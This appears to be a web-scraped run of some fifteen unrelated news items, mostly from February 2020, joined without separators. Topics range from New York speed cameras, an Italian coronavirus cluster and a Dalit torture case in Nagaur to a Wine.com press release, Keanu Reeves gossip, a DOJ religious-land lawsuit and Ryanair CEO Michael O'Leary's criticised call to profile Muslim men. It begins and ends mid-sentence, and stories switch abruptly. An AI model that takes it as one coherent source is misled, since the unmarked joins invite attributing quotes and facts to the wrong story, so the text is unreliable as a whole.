of years. You know how it goes: Once a government program is in place, once a financial investment is made, its difficult to dislodge it. It tends to perpetuate itself. Particularly if the program generates millions upon millions of dollars, as the citys speed camera program does. Unless a Republican whos dependent on Staten Islands votes gets into City Hall, that is. Then the program could be stepped-down or eliminated as a way to keep faith with the voters who put that mayor into office. But no such savior is on the horizon at the moment. So the Democratic battle against car culture is likely to continue in the next mayoral administration. And despite the fact that drivers keep getting rung up for speeding, they still break the city speed limit. They just cant help themselves. Theyre not learning the lesson. Millions upon millions of dollars are flowing into the citys coffers from across the five boroughs. And will likely continue to do so. Shouldnt we do something positive with all that newfound lucre? There was a thought that that money should go to the MTA. After all, the subways are in crisis. We need money to fix it. Its all hands on deck. But the Daily News reported de Blasio pushing back against that idea, saying that the speed camera money was needed to maintain speed enforcement efforts. Like I said, government programs perpetuate themselves. The city made $10 million from the speed cameras this January alone. Do the math over a 12-month period. Thats a lot of money for mere enforcement. Theres got to be something better to spend it on, something less pejorative. Something that could actually get us out of cars and really take a bite out of unsafe driving. And by the way, Ill get excited about getting out of my car and breaking car culture when city officials and lawmakers give up at least some of their official cars. And the cars of their staff members. Many of them have the privilege of around-the-clock use of their official vehicles. In 2019, the New York Post reported that 3,411 city employees had been assigned take-home government cars, SUVs and other vehicles, available for their use 24/7. That includes free gas and in some cases free tolls. Oh, and the ability to pretty much park where you please, even on a city sidewalk. According to a report posted online by the Mayors Office for Operations, the city as a whole operates more than 30,000 vehicles, including everything from police cars to paving equipment. The mayors fleet has 54 vehicles all by itself, the report said. There are also vehicles from other city and state entities rolling around out there. Talk about a car culture. Talk about a privilege culture. Perk culture. And Ill be really impressed when lawmakers and government workers give up those precious parking placards. De Blasio himself is guilty of encouraging car culture when he gave a windfall of placards to Department of Education employees. De Blasio gave out 50,000 placards to DOE staffers in 2017. One for pretty much everybody who works at a city school. No matter how far they live from their job site. No matter their mass transit options. Is that a responsible thing to do if you want to reduce greenhouse gases, break our addiction to fossil fuels, and encourage people onto mass transit? I sometimes get the feeling that government wants our cars off the road so that theres less traffic for their cars to navigate. Source: Xinhua| 2020-02-21 06:04:15|Editor: huaxia Video Player Close Young students from Palestinian Circus School perform together with peers with intellectual disability in an experimental show in the West Bank city of Ramallah, Feb. 20, 2020. The performance was the first of its kind, which came after almost three months of training and preparations. Ten young performers wearing colorful shirts appeared on the stage, including five with intellectual disability. (Photo by Ayman Nobani/Xinhua) RAMALLAH/BIRZEIT, Feb. 20 (Xinhua) -- In a unique experimental show, young students from the Palestinian Circus School performed together with peers with intellectual disability, in the town of Birzeit in west of Ramallah city on Thursday evening. The performance was the first of its kind, which came after almost three months of training and preparations. Ten young performers wearing colorful shirts appeared on the stage, including five with intellectual disability. Established in 2006, the Palestinian Circus School is the only organization dedicated for contemporary circus in the West Bank. The school said that it has been working with children and youths with special needs for about five year, and has finally brought their work to stage. Circus Trainer Nayef Abdallah said that working with this group was the most challenging experience in his 13 years of circus training. "This is the first try to mix them," said Abdallah, adding that training for the show should guarantee that there is no difference of the youths with intellectual disability on stage while showing team work and cooperation between the performers. The nearly 17-minute performance consisted of four scenes. As the lights dimmed and classical music played, the students came to the center of the circus tent, where some carried others, built human pyramids and raised one another over boxes or other colleagues. "We work with 200 students on annual basis, in disadvantaged and less privileged areas, with different abilities," said Mohammad Rabah, director of the Palestinian Circus School. "Circus is magical since you have different disciplines and you can choose what is suitable for you and where your talent can be ... It's all about working together, trust and discovering yourself and others," he added. The circus school has managed to reach a wide target audience of children and their parents or guardians to promote their values and tried to merge performance arts into the educational system, according to Rabah. "This year, we decided that we should use circus to promote the rights of children with disabilities, which we lack in Palestine ... We thought about bringing these children to show the public, the policy makers and the world that they have the abilities, even with circus," he added. Marah Natshe, who joined the circus school at the age of 12, said that she found her passion in this form of art and grew up to become a development researcher and artist specialized in social circus. Natshe told Xinhua that her 13 years of engagement with the circus has given her confidence and hope and taught her to respect diversity and openness. "The magic of the circus is to bring people from all around Palestine to meet in one place with no judgement from anyone. You can be just yourself and this is where the magic comes and it changes you and your perspective of life," she said. SAN FRANCISCO, Feb. 21, 2020 /PRNewswire/ -- The room was energized and the mood optimistic as Wine.com, the nation's leading online wine retailer, hosted its tenth annual Industry Growth Summit on Wednesday at Sonoma State University's Wine Business Institute. In morning presentations, the Wine.com management team reported that revenue reached $150 million in 2019, up $20 million over the prior year. At a time when many wineries, wholesalers and journalists are voicing concerns about wine industry growth prospects, Wine.com shared what's driving its growth, and how its trade partners can participate. Growth drivers included: Expanded marketing Wine.com has increased its investment in digital and traditional marketing to build its audience to over 25 million visits in the last year. Mobile app engagement Customer favorites on the Wine.com mobile app -- label scans, personal ratings & reviews and purchases -- have reached 17 million wines, propelling mobile device revenue to one third of company revenue, growing 30%. Millennial customers Driven by the above, millennials are now the company's largest customer segment, making up 26% of revenue, growing 34% in 2019. Of particular note, this segment spent an average of $34 per bottle, higher than any other generational customer segment. per bottle, higher than any other generational customer segment. Adding Spirits Wine.com added Spirits to its assortment in New York , New Jersey and Florida last Fall and to its California customers just weeks ago. With 2,000 unique offerings of whiskey, vodka, tequila, gin, rum, brandy and liqueur, when combined with the largest wine selection, this makes Wine.com a natural one-stop-shop for consumers. "Our job is to unlock wine industry growth by helping our customers discover the incredible wine our partners are making, importing and distributing," said Rich Bergsund, Wine.com CEO. "Our wineries and wholesalers will grow faster by continuing to help us build the world's largest and most interesting selection of wine, with competitive prices and the most complete and engaging storytelling content." Michael Osborn, Wine.com Founder and Executive Vice President, positioned Wine.com to the industry as a "wine discovery gateway, not a gatekeeper," referencing the difficulty many wineries and distillers have in reaching consumers through the complex beverage alcohol distribution channels in the U.S. The Wine.com Merchandising Team, as well as a Best Practices Panel of supplier and wholesaler representatives, highlighted many ways to accelerate growth, including: Making Wine.com someone's #1 priority in the organization Increasing Wine.com's allocations of scarce and collectible wine Using communication protocols to add and update product selection and storytelling content Leveraging Wine.com tools to manage inventory and keep in stock year-round Attendees also heard an update from Ray Johnson, Executive Director of Sonoma State University's Wine Business Institute, and a presentation from Professor Dr. Damien Wilson, who shared how the university's academic programs stay on-trend and relevant to the wine industry. Danny Brager, Senior Vice-President of Nielsen's Beverage Alcohol Practice, shared an overview of industry trends and compared the growth of Wine.com to segments of the broader industry. Brager stated, "Wine.com delivers a combination of significant category size coupled with double digit category growth. If I were grading Wine.com on performance, they continue to be top of the class offering both consistent and balanced growth across product segments and across consumer generations, and at the premium end of the wine market." The event concluded with Wine.com presenting its annual Exemplary Supplier of the Year awards to Napa Valley producer Shafer Vineyards and VINTUS (importers of Champagne Bollinger, Ornellaia, Errazuriz, E. Guigal, Chateau Montelena, and many more). Its annual Extreme Service Award, presented to an individual, was given to Jill Glomb, Key Account Sales Specialist for Winebow Wholesale of New York. Ms. Glomb has been servicing Wine.com for more than 15 years, representing such brands as Shafer, Laurent-Perrier, Catena, Seghesio, Bogle and hundreds of others. "We are so grateful for this recognition from Wine.com and are proud to be a close partner with the undisputed leader in wine ecommerce in America," said Michael Quinttus, VINTUS CEO. "VINTUS is fully committed to bringing our exceptional portfolio of family wineries to Wine.com's discerning customers. Our partnership is a natural one as we share a deep passion about the magic of wine, and now spirits too." Wine.com also donated two $10,000 scholarships to the Wine Industry Scholars Program, a collaboration between the School of Business and Economics and Sonoma State University's Educational Opportunity Program, dedicated to supporting and advancing higher education for first generation children from families of vineyard and winery workers. Suppliers interested in working with Wine.com should contact [email protected] ABOUT WINE.COM Wine.com is the nation's leading online wine retailer, with over $1 billion of wine sold and shipped to date. The company offers selection, guidance and convenience not found in brick and mortar stores helping customers discover the incredible world of wine with confidence. Live chat sommeliers provide friendly advice and customers receive unlimited shipping all year by joining StewardShip. Wine.com was recently named Wine Enthusiast's 2019 Retailer of the Year. For more information, visit the company's website at www.wine.com or download its app in the Apple Store or Google Play. SOURCE Wine.com Related Links http://www.wine.com CODOGNO, Italy The number of people in Italy infected with the new virus from China more than quadrupled Friday due to an emerging cluster of cases in the countrys north that prompted officials to order schools, restaurants and businesses to close. Many of the 14 new cases represented the first infections in Italy acquired through secondary contagion and brought the countrys total to 17. The cluster was located in a handful of tiny towns southeast of Milan in the Lombardy region, said Lombardy regional health chief Giulio Gallera. This was foreseeable even if we hoped it wouldnt have happened, Gallera said. The first to fall ill was a 38-year-old Italian who met with someone who had returned from China on Jan. 21 without presenting any symptoms of the new virus, health authorities said. That person was being kept in isolation and appears to present antibodies to the virus. The 38-year-old is now hospitalized in critical condition. His wife and a friend of his, who was a member of his running club, also tested positive for the virus. Three patients at the hospital in Codogno where he went with flu-like symptoms on Feb. 18 also have infections, as do five nurses and doctors. In addition, another three elderly people, who frequented the same cafe as the runners father, also tested positive Friday, Gallera said. Tests were under way, meanwhile, on the 38-year-olds doctor, who made a house call on him, as well as on 120 people he worked with in the research and development branch of Unilever in Casalpusterlengo, Gallera said. Word of the contagion sparked fears throughout the region, particularly given the closure of the emergency room at the Codogno hospital. We are old and we are very concerned, said 76-year-old Codogno resident Carmelo Falcone. I live on my own. I really dont know what to do. Italian Health Minister Roberto Speranza said Italy is now seeing the same sort of cluster of cases that Germany and France have seen. He signed an ordinance with Lombardys regional president outlining measures to contain the cluster to the 10 towns so far affected: Codogno, Castiglione dAdda, Casalpusterlengo, Maleo, Fombio, Bertonico, Castelgerundo, Terranova dei Passerini, Somaglia and San Fiorano. The towns, which have between 1,000-15,000 residents each, are located around 60 kilometers (37 miles) southeast of Milan, Lombardys capital and Italys business center. The ordinance suspends public gatherings, commercial and business activity, sport, education, and other recreational activities throughout the region, Speranza, the health minister, said. He defended the precautionary measures Italy took previously, noting that Italy remains the lone European country to have barred flights to and from China, Hong Kong, Macau and Taiwan. We had the highest measures in Europe, he said. The health ministry ordered anyone who came into direct contact with the victims to be quarantined for 14 days. And it recommended others in the region stay home. Italys civil protection agency, meanwhile, was working to identify military buildings, hotels or other structures that could serve as isolation wards if necessary. In other parts of the world, and also in China, it has been demonstrated that this system (of self-isolation) helps in a substantial way to block the spread, Lombardy regional president Attilio Fontana said. But we must not let ourselves be overcome by panic. The Codogno hospital closed its emergency room, and staff were seen wearing masks as movers brought in new beds and furniture as the quarantine got under way. Romes infectious disease hospital is currently caring for three other people who were infected weeks ago, including a Chinese couple from hard-hit Wuhan and an Italian who is now testing persistently negative for the virus after two weeks of anti-viral treatment. Despite the calls for safeguards, Italians were having a hard time finding protective face masks. A sampling of Milan pharmacies reported selling out out weeks ago, as did a pharmacist in Codogno who said Italy had been sending masks to China for weeks. ___ Winfield reported from Rome. Union minister Arjun Ram Meghwal on Friday said the Ashok Gehlot-led Congress government is unable to rein in crime in Rajasthan and held it responsible for the Nagaur incident where two Dalit men were beaten up and tortured for allegedly stealing money. Meghwal, along with party legislators Madan Diwalar and Mohan Ram, reached Nagaur on Friday and met with the victims. He also visited the spot where the incident took place on Sunday. "The Chief minister is holding the portfolio of home minister but there is no control over crime and the government is responsible for the incident," Meghwal, the minister of state for heavy industries and public enterprises, said. "There was also a failure on part of the police because they could not get to know about the incident when it happened," he added. The Dalit men were beaten up, stripped and tortured by staffers of a motorcycle service agency in Karanu village after accusing them of committing theft. The brutal incident came to light after a video of the assault went viral. In the video, a group of men is seen thrashing two persons with rubber belts. They later dipped a piece of cloth wrapped on a screwdriver in petrol and inserted it in the private parts of one of the victims. Meghwal, the MP from Bikaner, accused police of manipulating the case. He also alleged that the victims were under pressure. "We met the victims and also visited the place where the incident occurred," he said. The delegation of the BJP leaders also visited the Panchodi police station where an FIR regarding the incident has been registered. Meghwal said an inquiry report of the party delegation, which he was heading, will be submitted to the BJP's state president in Jaipur on Saturday. Police have so far arrested seven persons in connection with the case. "Seven people have been arrested after registering a case against them under various sections of IPC and the SC/ST Act. A cross FIR has also been registered for stealing money. We are ascertaining how much money was stolen from the service agency counter. Further investigation in the matter is on," DSP, Nagaur, Mukul Sharma had said on Thursday. Section 308 of IPC (attempt to commit culpable homicide) was also been added in the FIR. The arrested accused have been identified as Bhim Singh, Idaan Singh, Hanuman Singh, Raghuveer Singh, Chhail Singh, Chhatar Singh and Rehmatullah. Director General of Police Bhupendra Singh said in Jaipur that the matter was being investigated thoroughly and none will be spared. He said the IG Human Rights has been sent to Nagaur to monitor the investigation. Rashtriya Loktantrik MLA Narayan Beniwal also visited the victims at their village. A delegation of the Bahujan Samaj Party (BSP) met the DGP and handed over him a representation demanding justice for the victims and also government jobs for them. A delegation of Congress leaders is also scheduled to visit Nagaur on Friday. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Share this article Whatsapp Facebook Twitter Linkedin Gemma Holliani Cahya (The Jakarta Post) Jakarta Fri, February 21, 2020 07:51 691 7f440ff09e92db75a02bbad2065b745c 1 National family-resilience-bill,maternity-leave,house-of-representatives,patriarchy,Prolegnas,activists,women-rights Free A controversial bill on family resilience includes a provision of six months of paid maternity leave for female workers, but only for those working in government offices, regional administrations, and state-owned or region-owned enterprises. Article 29 of the draft bill, a copy of which has been obtained by The Jakarta Post, stipulates that the aforementioned offices are obligated to give female workers their right to get maternity leave for six months without losing their right to salary and position. Other points in the article also obligate offices to provide daycare centers for children, as well as lactation rooms for female workers to breastfeed. However, many female activists lambasted the article, calling it patriarchal in nature. Mutiara Ika Pratiwi of womens rights group Perempuan Mahardhika said the proponents only tried to deflect the fact that the whole bill would interfere with a familys private life. [The article] is a deception because the bills spirit is to control families, Mutiara said. According to the International Labour Organization [ILO] convention, the spirit of true maternity rights is not for family resilience. Maternity rights should be provided for the fulfillment of basic womens rights. Read also: Indonesias family resilience bill says housekeeping wifes duty Indonesian Breastfeeding Association (AIMI) chairperson Nia Umar called the bill very weird as provisions on maternity leave have always been part of the Manpower Law because the regulation for such leave is directed at employers. How will you enforce the regulation if its included in the family resilience bill? said Nia. Frenia Nababan of the Mother and Child Health Movement (GKIA) said the bill excluded females from working as factory workers, media workers and other jobs. Women working in informal sectors are always the ones facing difficulties when they want to take maternity leave, Frenia said. Since its conception, this bill covers areas that are considered private, as it wants to manage Indonesians family lives. However, each family has their own way of handling their own problems. We dont need government intervention or new regulations, she went on to say. The family resilience bill has been initiated by five politicians from several factions in the House of Representatives three of whom are women. It has been included in the 2020 National Legislation Program (Prolegnas). Cronkite News WASHINGTON Tribal officials last week raised issues ranging from polluted water to underfunded police but there was one message they all had for House lawmakers the government needs to be a more reliable partner on critical projects. Those comments came during the second day of testimony by Native American representatives from across the country including a number from Arizona who outlined their funding priorities for fiscal 2021 to a House Appropriations subcommittee. Most of the speakers were thankful for federal help, but also forceful about federal shortcomings. Under current funding levels, it would take 60 years, or another three generations of students, before the current backlog could be eradicated, in school construction, said Gila River Indian Community Gov. Stephen Roe Lewis. Navajo Nation Council Delegate Jamie Henio, center, said low tribal police pay has led to high turnover and long shifts as nearby agencies lure Navajo officers away. He testified with National Congress of American Indians CEO Kevin Allis, left, and Abigail Echo-Hawk, director of the Urban Indian Health Institute. Photo by Joshua Gerard Gargiulo / Cronkite News But Lewis, like many of the witnesses, also touted efforts to find a way around the many problems tribal areas face. In the case of his tribe, it is a pilot program that let the community build a new school and then lease it back to the Bureau of Indian Affairs. The community has had visits from a number of tribal leaders and has offered advice to a number of other tribes, Lewis said. Because we believe as the pilot tribe for this program we have a responsibility to ensure other Tribes and students are afforded the faculties and educational opportunities they deserve. Rep. Betty McCollum, D-Minn., the chairwoman of the Appropriations Subcommittee on Interior, Environment and Related Agencies, said funding the many needs in Indian Country can be a balancing act for lawmakers. I get an allocation in that allocation I have to fund Indian health, education and funding in public safety and environmental, McCollum said during a break in Wednesdays hearing. But also in there is Environmental Protection Agency, and tribes are applying for safe drinking water out of that EPA funding. So it is a balancing act with the limited dollars I have to make sure that every tribe has full access to the grants and the money that are available under that limited allocation, she said. Those dollars have to stretch to cover issues ranging from facilities Lewis said some Gila River schools are more than 100 years old to salaries to services. San Carlos Apache Chairman Terry Rambler said the priority needs for his tribe include public safety. He told the committee how the tribes courts and police were forced to operate out of modular quarters after BIA-funded buildings fell into disrepair. Now the modulars are decrepit, with no air conditioning, no running water, disgusting port-a-johns and little workspace. He recounted a 2018 visit by Rep. Tom OHalleran, D-Sedona, when congressional staff were forced to use outdoor toilets on a 120-degree day because the water in the building was out. Later during the visit, the power went out and they had to continue using the lights on their phones. This unfortunately is not unique, but instead is a near-daily occurrence, Rambler said. Youth from the Gila River Indian Community were among those on hand for the House Appropriations Committee hearing on tribal priorities for the fiscal 2021 federal budget. Photo by Joshua Gerard Gargiulo / Cronkite News For Jamie Henio, a Navajo Nation Council delegate, the lack of federal funding for police has led to high turnover and that forces some officers to work 12-hour shifts. He said the tribe regularly loses newly trained officers to neighboring agencies, like the Albuquerque Police or the Bernalillo County Sheriffs Department, that can offer generous compensation packages and benefits that the Navajo cannot match. Hopi Chairman Timothy Nuvangyaoma talked about the high unemployment his people face because of the lack of economic development opportunities on their remote reservation. But he prioritized the tribes schools, its arsenic mitigation efforts and its push for a new detention center after the previous one was condemned in 2016, forcing tribal police to drive prisoners 80 miles to the nearest jail. The Hopi have grappled with arsenic contamination of its water supply for decades, he said, with eight tribal villages still facing arsenic levels more than three times the legal limit. He said the Hopi Arsenic Mitigation Program is now a priority for both the Indian Health Service and EPA, and while planning has been funded for fiscal 2020 and 2021, future funding will be needed for design and construction. Roads were a recurring problem for the witnesses. Henio cited data showing 388 miles of the Navajo Nations 505 miles of roads were unpaved. McCollum closed both the morning and afternoon sessions by telling witnesses she had a lot of homework. House Committee on Appropriations - American Indian and Alaska Native Public Witness Days Note: This story originally appeared on Cronkite News and is published via a Creative Commons license . Cronkite News is produced by the Walter Cronkite School of Journalism and Mass Communication at Arizona State University Join the Conversation Keanu Reeves was seen with his artist girlfriend Alexandra Grant in San Francisco on Thursday evening. This is the first time the 55-year-old actor and the 46-year-old painter have been spotted together since they went public with their relationship in November while holding hands at the LACMA Art + Film Gala in Los Angeles. The Hollywood icon led the way with a bag in hand as he walked to a car with his grey-haired lady love following behind in the City By The Bay. They were leaving the Omni hotel with a handler by his side while fans looked on. She is visiting him: Keanu Reeves was seen with his artist girlfriend Alexandra Grant in San Francisco on Thursday evening Some of the fans that lined the sidewalk even took photos of the pair. The 6ft1in star had on a long black coat over a brown shirt with black slacks and shoes. His hair was long and he wore a scruffy beard. Grant modeled a winter coat in a leopard print over black leggings and what looked like UGG boots. Keanu has been in the Northern California city to shoot his movie Matrix 4 which will be released in 2021. Ready to go: The Hollywood icon led the way with a bag in hand as he walked to a car with his grey-haired lady love following behind as they left the Omni hotel Production on The Matrix 4 began in early January with Lana Wachowski returning as co-writing and director of this latest entry. 'Many of the ideas Lilly and I explored 20 years ago about our reality are even more relevant now,' Wachowski said in a statement. 'I'm very happy to have these characters back in my life and grateful for another chance to work with my brilliant friends.' Aleksandar Hemon and David Mitchell co-wrote the Matrix 4 script alongside Wachowski. His cool look: The 6ft1in star had on a long black coat over a brown shirt with black slacks and shoes. His hair was long and he had on a scruffy beard Keanu is again playing Neo with Carrie-Ann Moss back as well. The Matrix 4 will also also feature Yahya Abdul-Mateen II, who's best known to audiences as Black Manta in 2018's Aquaman. Reeves' next film is the next Bill And Ted's Excellent Adventure with Alex Winter. On set: Fan Erin Leigh Carlson shared this image of Keanu shooting Matrix 4 on a busy street The film franchise: from left, Joe Pantoliano, Laurence Fishburne, Keanu, Carrie-Anne Moss in The Matrix from 1999 Meanhile, Grant was last seen in Los Angeles on Wednesday evening at Gwyneth Paltrow's GOOP Glow event at a private residence in Beverly Hills. All women were asked to go makeup-free for the party. Grant spoke with Paltrow in front of guests and the actress raved that the artist was a great thinker. Also present was Demi Moore with her daughter Rumer Willis, Kate Hudson and Rachel Zoe. Ever since Reeves and Grant went public in November, there has been much speculation about when they first started dating. She's so Hollywood now! Meanhile, Grant was last seen in Los Angeles on Wednesday evening at Gwyneth Paltrow's GOOP Glow event at a private residence in Beverly Hills; also pictured is Demi Moore New pals: All women were asked to go makeup-free for the party. Grant spoke with Paltrow in front of guests and the actress raved that the artist was a great thinker Some publications said they had been romantic for only a few months but then earlier this month Jennifer Tilly told Page Six that they had been an item for 'years.' ABC News Tennis world No. 1 Novak Djokovic is apologizing for an "error of judgement" related to an in-person interview he conducted last month after being exposed to COVID-19 as he continues to fight to stay in Australia and compete in the first major of the year. Djokovic, who is tied for first all time with 20 major wins, released a new statement Wednesday midday local time in Melbourne explaining the timeline of several public appearances around when he tested positive for COVID in December -- which he says should allow him to compete in the Australian Open despite apparently not being vaccinated. "I want to address the continuing misinformation about my activities and attendance at events in December leading up to my positive PCR COVID test result," he wrote in an Instagram post. New TV ad in 3rd Congressional District race: Marie Newman, whos hoping to unseat U.S. Rep. Dan Lipinski in next months Democratic primary, is up with her first television ad. In the spot, Newman mentions she was born at Little Company of Mary Hospital in Evergreen Park and became part of the fabric of the Far Southwest Side and suburbs having been raised in Beverly and Palos part of Illinois 3rd Congressional District. The ad also notes she did janitorial work to put herself through college and at one point went without health care on her way to becoming a successful business owner. The commercial also references Lipinskis vote against the Affordable Care Act. Utopeias Co-Founder and Head of Strategy, Mitali Srivastava Hough, has today announced the launch of Equal on World Social Justice Day with a very special thought in mind. The Equal agency will specialize in Cause marketing and CSR solutions for brands. Srivastava Hough states that there is a greater need than ever before for brands to connect with communities who have been ignored for a long time. She says, The voices of the underprivileged, rural India, minorities, LGBTQIA, women, differently abled and other marginalized groups are getting stronger by the day and its critical that brands find a genuine way to connect with, communicate with, and endorse their voices. There is also a need for genuine conversations around equality, human rights, inclusion and social protection. It is now mandatory for businesses in India to spend 2% of their average net profits on CSR, leading to investment in areas such as education, health, poverty, gender equality and hunger. It is essential that this investment is aligned with long-term strategic planning with clear goals and a true connection with communities and audiences, in order to grasp the opportunity and make a deep and long-term impact. Brands are recognizing that engaging effectively in CSR can reap long term results. So, Equal has been launched to create meaningful and genuine solutions in CSR and Cause marketing. She adds, At Equal, we will provide end-to-end solutions in the CSR category to help brands use their CSR budget to maximize returns and build long term properties that can benefit employees, consumers, stakeholders, brand equity and business. Srivastava Hough has done various projects in this field already and believes that her true passion lies in this area. She has been an activist for various social causes for over a decade. She has also done CSR and Cause marketing projects for Reliance Foundation, Adani Foundation, Ambuja Foundation, and the recent Rainbow Lit Fest, and others. Prior to co-founding Utopeia Communicationz, Mitali Srivastava Hough was an AVP in DDB Mudra, and has worked in Ogilvy India and TBWA India, where she led strategic planning for brands such as Volkswagen, Big Bazaar, Bournvita, Asian Paints, etc. DOJ Sues Nebraska Village for Denying Church Permission to Expand Facilities The Justice Department (DOJ) has sued a Nebraska village alleging that it had violated a federal law protecting religious institutions when it denied a local church from expanding their facilities in the locale. The department on Thursday filed the lawsuit against the Village of Walthill, which has a population of about 750 people, saying that it violated the Religious Land Use and Institutionalized Persons Act when it denied the Light of the World Gospel Ministries from building a worship facility for church services, bible studies, youth and children ministries, and cafeteria ministries. According to the complaint (pdf), Light of the World Gospel Ministries had purchased several old and deteriorating buildings across the street from the churchs current meeting place in a downtown area in the village. The church was hoping to construct a new church and other facilities in order to expand its space for its growing membership. The village government initially approved the churchs building permit but later revoked it after four individuals testified at a board meeting. The four members alleged that the church had proselytized in ways they believed to be offensive or that members of [the church] held unfavorable religious views of Native Americans or of Native American religious beliefs. The village also denied applications for multiple permits from the church to demolish and clean up the dangerous structure on the churchs property, the church says. In 2017, the village told the church that it needed a special use permit to construct a new church on its property in a commercial area in downtown Walthill. The church then applied for a special use permit but its application was denied. According to the complaint, the village board did not give them a reason for the rejection. During the period where the church sought to build its facilities, the village had approved applications to build nonreligious places of assembly in the district, including a library and an education center. The church subsequently sued the village, alleging in 2018 that the local government had violated the churchs freedom of speech and freedom of assembly rights and discriminated against the church based on religion (pdf). In their complaint on Thursday, DOJ attorneys alleged that the villages denial of the churchs applications violates the equal terms provision of the Religious Land Use and Institutionalized Persons Act, which requires religious assemblies to be treated at least as well as nonreligious assemblies. The complaint also claims that the villages actions imposed a substantial burden on the churchs religious exercise in violation of another provision of the Act. Treating places of worship less favorably than nonreligious assemblies is unlawful discrimination against religious exercise, Assistant Attorney General Eric Dreiband of the Civil Rights Division said in a statement. The Department of Justice is committed to ensuring that governments do not deny congregations their federally protected right to exercise their faith through construction of places of worship, he added. Meanwhile, an attorney from a religious-rights law firm representing Light of the World Gospel Ministries in the separate case welcomed the DOJ lawsuit. Its time for Village of Walthill officials to reverse their unlawful decisions that keep our client from revitalizing a run-down part of Main Street, Roger Byron, Senior Counsel at First Liberty Institute, told The Epoch Times in a statement. The Trump administration has taken numerous steps to protect religious freedom. In 2018, the Justice Department formed a religious liberty task force to coordinate its work on religious liberty litigation and policy, and to implement former Attorney General Jeff Sessionss 2017 religious liberty guidance to the executive branch on how to apply existing religious liberty protections in federal law. Moreover, the department also announced its Place to Worship Initiative in 2018 aimed at increasing the enforcement and awareness of the land use provisions of the Religious Land Use and Institutionalized Persons Act, which protects the rights of religious institutions to worship on their land. (L-R): Attorney General Jaundy Martin and Professor Velma Newton, Regional Project Director/Impact Justice Project both sold the Mediation Process as workable and necessary. Persons entangled in disputes need not go through the courts to have their matters settled. They can use a community-based mediation process dubbed Alternative Dispute Resolution. The facility, part of the larger Impact Justice Project whose mandate is to address deficiencies in the justice sector of CARICOM outside of those that are directly related to the judiciary and the courts, was launched at the Ministry of Health Conference Room last Tuesday. Speaking at the launch, Attorney General Jaundy Martin described the justice system here as not just adversarial but costly, and welcomed the new measure as one which could prove beneficial to the entire society. He noted that while there are procedures that have to be complied with when dispensing justice, in some instances "innocent persons end up suffering, and that poor people and sometimes "people who cant speak well, could easily find themselves under the wheels of the system. It is within that context that Martin gave his stamp of approval to the implementation of the alternate form of resolving conflict. The AG is convinced that the form of mediation which entails "looking at problems through the other persons eye, is something that "could benefit the society. Professor Velma Newton, Regional Project Director/Impact Justice Project, "is satisfied that the Alternative Dispute Resolution/ Mediation exercise is "in good hands. That assurance, she said, was predicated on the progress this country has made since accepting the new process, and in that regard, she praised the work that has been done by Mandella Peters and Cheryl Bailey, who have been trained as Community Mediators. The initiative was endorsed by Justice Brian Cottle who welcomed its introduction to the community level. Magistrate Zoila Ellis, while not sure of the extent of the Magistrates involvement, is supportive of the drive, views it as a "win/win situation, and "wishes that it goes from strength to strength. The Improved Access to Justice in the Caribbean (IMPACT Justice Project) was launched in 2014 with support to the tune of Can$20 million by the Government of Canada. It was initially conceived to be a five-year project, but has since been extended to run until March 2022. It is being implemented from within the Caribbean Law Institute Centre, Faculty of Law, The University of the West Indies (UWI), Cave Hill Campus. Ryanair boss Michael O'Leary has sparked a race row after calling for Muslim passengers to be checked at airports in a bid to prevent terror attacks, as he claimed 'that is where the threat is coming from'. Mr O'Leary said terrorists 'will generally be males of a Muslim persuasion' - and that families with young children should be let through security as they are less likely to 'blow' people up. The 58-year-old added that the only way to 'deal with the threat' was to vet 'single male' Muslims travelling on their own. The Muslim Council of Britain said the comments amounted to discrimination against Muslim passengers as they branded the comments 'racist'. Michael O'Leary said terrorists 'will generally be males of a Muslim persuasion' - and that families with young children should be let through security as they are less likely to 'blow' people up And hate-crime monitoring group Tell Mama suggested his 'flippant' words could end up having serious consequences for the budget airline. Mr O'Leary had told The Times: 'Who are the bombers? They are going to be single males travelling on their own. 'If you are travelling with a family of kids, on you go; the chances you are going to blow them all up is zero.' He added: 'You can't say stuff, because it's racism, but it will generally be males of a Muslim persuasion. Thirty years ago it was the Irish. 'If that is where the threat is coming from, deal with the threat.' The Muslim Council of Britain said the comments amounted to discrimination against Muslim passengers as they branded the comments 'racist' Hate-crime monitoring group Tell Mama suggested Mr O'Leary's 'flippant' words could end up having serious consequences for the budget airline A spokeswoman for the Muslim Council of Britain said: 'Michael O'Leary should be under no illusion: his comments are racist and discriminatory. 'He openly advocates discrimination against "males of a Muslim persuasion", which presumably is not based on specific intelligence but solely whether someone 'looks or acts like a Muslim'. 'This is the very definition of Islamophobia.' The spokeswoman said Muslims already face challenges in airline travel and added: 'It is a shame that such racism is being expressed so openly, and that the CEO of a large airline would so want to discriminate against his customers so brazenly.' The 58-year-old added that the only way to 'deal with the threat' was to vet 'single male' Muslims travelling on their own And Tell Mama said the comments could come back to bite Mr O'Leary's business, likening them to jewellery firm boss Gerald Ratner's disastrous remark in 1991 when he called one of his own products 'total crap' and was later axed after profits tumbled. In a statement posted on Twitter the group said: 'Besides being discriminatory and basing judgements on the 'looks' of people, which is abhorrent, O'Leary clearly does not know about the history of terrorism, where people have used others to bypass this blunt and divisive technique. 'This could be a Gerald Ratner moment for O'Leary, where his flippant statements come back to seriously affect his business.' His comments have also been slammed by a Labour MP for 'encouraging racism'. Mr O'Leary added: 'You can't say stuff, because it's racism, but it will generally be males of a Muslim persuasion. Thirty years ago it was the Irish' Labour MP Khalid Mahmood said Mr O'Leary was 'encouraging racism' and asked why he wouldn't suggest white people be given the same treatment 'to see if they're being fascists'. 'If he can tell me what colour Muslims are then I'd be very happy to learn from him you can't judge a book by its cover,' he told the Times. He added: 'In Germany this week a white person killed eight people. Should we profile white people to see if they're being fascists? 'He's being very blinkered and is actually encouraging racism.' The airline chief is no stranger to controversial remarks particularly his criticisms of environmentalists and travel agents. Labour MP Khalid Mahmood said Mr O'Leary was 'encouraging racism' and asked if it means we should 'profile white people to see if they're being fascists' He once said: 'The best thing you can do with environmentalists is shoot them.' Mr O'Leary also believes travel agents deserve the same treatment, saying once: 'Screw the travel agents. 'Take the f***ers out and shoot them. What have they done for passengers over the years?' He famously proposed coin-operated toilets on flights and dressed up as the pope to launch Ryanair's new route from Dublin to Rome. He once addressed Ryanair customers asking for their money back with: 'You're not getting a refund so f**k off. We don't want to hear your sob stories. What part of 'no refund' don't you understand?' The airline chief is no stranger to controversial remarks particularly his criticisms of environmentalists The Ryanair boss once made a joke about the budget airline he runs, claiming his flights are fuelled with 'Leprechaun wee' and his 'bulls**t'. And when describing himself, he 